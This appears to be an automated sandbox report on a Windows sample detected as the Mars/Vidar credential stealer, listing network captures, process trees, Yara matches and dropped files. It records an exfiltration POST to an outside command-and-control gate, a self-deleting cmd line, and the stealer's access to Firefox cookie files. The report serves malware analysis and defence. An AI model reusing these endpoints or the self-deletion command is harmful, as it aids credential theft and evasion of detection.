Mar 19, 2024 08:56:53.114483118 CET	1286	IN	Data Raw: 3d bf 10 6d b7 0f 5b 9f 7f 47 76 1f 32 f6 c8 ee bd 0d b4 40 e9 7b 2f f2 95 4d 83 88 d7 78 c6 0f 10 81 79 ae b3 5c 69 7c 1f d9 35 00 f2 e4 b7 9d fb 61 65 03 fe d5 61 d9 24 7e 4c 4e de 0e 4f c6 6e af 8a a7 a0 bd ac 9e 3a c5 38 1b 35 03 aa b1 be 59 Data Ascii: =m[Gv2@{/Mxy\i\|5aea$~LNOn:85Yo7!G9R1{)*s-P[,=0\\<mXYkF.fkn0^~\|"/)wOEDB2o
Mar 19, 2024 08:56:53.114563942 CET	1286	IN	Data Raw: 53 40 8a 5f 78 15 71 e2 64 f0 e8 53 ce 3d ae ba 02 e8 38 40 dc 24 cf 5a b2 d2 2c ed c9 81 df c4 24 2f 9b 6d d3 d7 d0 99 7e 76 f2 4a 80 31 85 f6 99 b5 24 c7 cf 7e 6f 85 57 60 6a a5 d5 95 82 88 df cc 8b 9b 7b aa 97 19 8b 4c 42 5a 3e 6a 68 d0 c1 35 Data Ascii: S@_xqdS=8@$Z,$/m~vJ1$~oW`j{LBZ>jh5JwcDA"^yvzNQb`\|#'l~)5^uaeeW9)I)3/XRn9<vS(I(W#VGrZY"EI7=]7zW`,yS
Mar 19, 2024 08:56:53.114610910 CET	1286	IN	Data Raw: a7 d7 07 85 d4 21 a2 39 9c d3 18 ff 9c b4 2f d3 00 fb 8f b9 2d 39 b0 e3 5e 5f f8 5d 0a 3e f8 e0 f1 f2 51 1e ab 2d cc 09 06 23 a6 7e d5 33 3f 36 a7 ce 07 fb 40 bf b5 db 50 a9 34 2f 3a 0f 43 61 74 ff c3 31 ac 37 12 57 e6 d8 14 8f 79 e2 3b 8a 69 13 Data Ascii: !9/-9^_]>Q-#~3?6@P4/:Cat17Wy;ix=7AeNw&Hc\H+/gv_^lf=nI(&]o\|^&x7g}PBy8dl<)>6\|T-=$pH5a#DkSjSIjLd&m1)7m
Mar 19, 2024 08:56:53.231134892 CET	1286	IN	Data Raw: be c0 45 f4 f8 c7 74 74 c6 06 3f 80 1f a5 97 b5 be 47 a0 23 cc a2 8e 6f 25 3d 6a bf f3 98 ab a5 48 3c c7 d5 32 25 e2 08 e7 f8 d8 cd 7a 87 86 92 4c 10 97 f5 68 22 3e 36 af 17 85 76 d4 a5 2c 18 d0 f4 0d 1d 37 83 48 26 f5 98 61 9f 1d 4b 96 30 00 ab Data Ascii: Ett?G#o%=jH<2%zLh">6v,7H&aK08UmN>;?#M3@]PYI1RU gcn4C1ksS.:i@vn>/zf+39A3A3O&.E5y\|8FVe>T0
Mar 19, 2024 08:56:55.187387943 CET	242	OUT	POST /18/gate.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----0HLFUK6F37QQQIWL Host: couriercare.in Content-Length: 96067 Connection: Keep-Alive Cache-Control: no-cache Cookie: PHPSESSID=47b7a394185c4f184df64c6e6d49f0a9
Mar 19, 2024 08:56:56.329907894 CET	296	IN	HTTP/1.1 200 OK Date: Tue, 19 Mar 2024 07:56:55 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	08:56:51
Start date:	19/03/2024
Path:	C:\Users\user\Desktop\Uin5FyPXbS.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Uin5FyPXbS.exe"
Imagebase:	0x400000
File size:	163'328 bytes
MD5 hash:	538CC587125F738AE81E2E4FE28C0084
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000002.1651174979.000000000043C000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.1651101563.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000002.1651101563.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_ArkeiStealer_84c7086a, Description: unknown, Source: 00000000.00000002.1651101563.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Author: unknown Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000000.1607822276.000000000043C000.00000080.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_Vidar_114258d5, Description: unknown, Source: 00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:56:55
Start date:	19/03/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\Uin5FyPXbS.exe" & exit
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:56:55
Start date:	19/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:56:55
Start date:	19/03/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 5
Imagebase:	0xc40000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Uin5FyPXbS.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Mars Stealer

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

C:\ProgramData\softokn3.dll

C:\ProgramData\vcruntime140.dll

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

C:\Users\user\Desktop\0ZUSR1VA

C:\Users\user\Desktop\6F3E3ECT

C:\Users\user\Desktop\9R1NG4OZ

C:\Users\user\Desktop\BI5PPHVA

C:\Users\user\Desktop\MGLN7QIE

C:\Users\user\Desktop\MY58GDTJ

Windows Analysis Report
Uin5FyPXbS.exe